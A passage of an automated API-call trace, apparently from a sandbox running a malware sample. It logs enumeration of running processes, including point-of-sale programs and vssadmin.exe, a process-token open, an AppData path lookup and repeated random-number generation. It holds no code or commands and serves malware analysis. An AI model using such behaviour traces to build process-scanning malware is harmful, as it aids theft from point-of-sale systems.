lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="omnipos.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="omnipos.exe", lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spcwin.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spcwin.exe", cchWideChar=10, lpMultiByteStr=0xf838b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spcwin.exe", lpUsedDefaultChar=0x0) returned 10 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spgagentservice.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spgagentservice.exe", cchWideChar=19, lpMultiByteStr=0xf838b0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spgagentservice.exe", lpUsedDefaultChar=0x0) returned 19 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="utg2.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="utg2.exe", cchWideChar=8, lpMultiByteStr=0xf838b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="utg2.exe", lpUsedDefaultChar=0x0) returned 8 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="committee.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="committee.exe", cchWideChar=13, lpMultiByteStr=0xf838b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="committee.exe", lpUsedDefaultChar=0x0) returned 13 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WmiPrvSE.exe", lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WmiPrvSE.exe", lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DP1UHJ~1:bin", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DP1UHJ~1:bin", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DP1UHJ~1:bin", lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe", lpUsedDefaultChar=0x0) returned 12 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="conhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="conhost.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conhost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VSSVC.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VSSVC.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VSSVC.exe", lpUsedDefaultChar=0x0) returned 9 [0033.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0xf838b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds.exe", lpUsedDefaultChar=0x0) returned 7 [0033.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.912] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0x174fbc4 | out: lpExitCode=0x174fbc4*=0x103) returned 1 [0033.913] NtOpenProcessToken (in: ProcessHandle=0x144, DesiredAccess=0xf01ff, TokenHandle=0x174fbd8 | out: TokenHandle=0x174fbd8*=0x148) returned 0x0 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ae0) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e840) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dd90) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88b28) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e8c8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9a818) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c00) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e950) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9a878) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c48) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7e9d8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9a8d8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88c90) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ea60) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9a938) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88cd8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7eae8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9a998) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88d20) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7eb70) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9a9f8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88d68) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ebf8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9aa58) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88db0) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ec80) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9aab8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88df8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ed08) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ab18) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88e40) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ed90) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ab78) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88e88) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ee18) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9abd8) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ed0) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7eea0) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ac38) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88f18) returned 1 [0033.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7ef28) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ac98) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88f60) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7efb0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9acf8) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88fa8) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f038) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ad58) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ff0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f0c0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9adb8) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88b70) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f1d0) returned 1 [0033.914] NtClose (Handle=0x144) returned 0x0 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ae30) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ae90) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89080) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9aef0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf890c8) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9af50) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89110) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f3f0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9afb0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89158) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f478) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b010) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f500) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b070) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891e8) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f588) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b0d0) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89230) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f610) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b130) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89278) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b190) returned 1 [0033.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf892c0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f720) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b1f0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89308) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f7a8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b250) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89350) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f830) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b2b0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89398) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f8b8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b310) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf893e0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f940) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b370) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89428) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f9c8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b3d0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89470) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b430) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf894b8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fa50) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b490) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89500) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b4f0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89548) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b550) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89590) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fbe8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b5b0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf895d8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fc70) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b610) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89620) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fcf8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b670) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c9d8) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fd80) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b6d0) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82868) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b730) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83868) returned 1 [0033.915] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf828f0) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b790) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf838f8) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82978) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b7f0) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83940) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82a00) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b850) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83988) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82a88) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b8b0) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf839d0) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82b10) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b910) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a18) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82b98) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b970) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a60) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82c20) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9b9d0) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83aa8) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82ca8) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ba30) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83af0) returned 1 [0033.916] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82d30) returned 1 [0033.916] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x148, dwFlags=0x0, pszPath=0xf85850 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0034.272] CryptAcquireContextW (in: phProv=0x174f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8fc*=0x60b630) returned 1 [0034.273] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f910 | out: pbBuffer=0x174f910) returned 1 [0034.273] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.273] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fcf8 [0034.273] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.273] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.273] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.273] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.274] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.274] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.274] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.275] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.275] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.275] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.276] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.276] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.276] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.276] CryptGenRandom (in: hProv=0x60b630, dwLen=0x4, pbBuffer=0x174f90c | out: pbBuffer=0x174f90c) returned 1 [0034.276] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.276] CryptAcquireContextW (in: phProv=0x174f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174f8f8*=0x60b630) returned 1 [0034.277] CryptGenRandom (in: hProv=0x60b630, 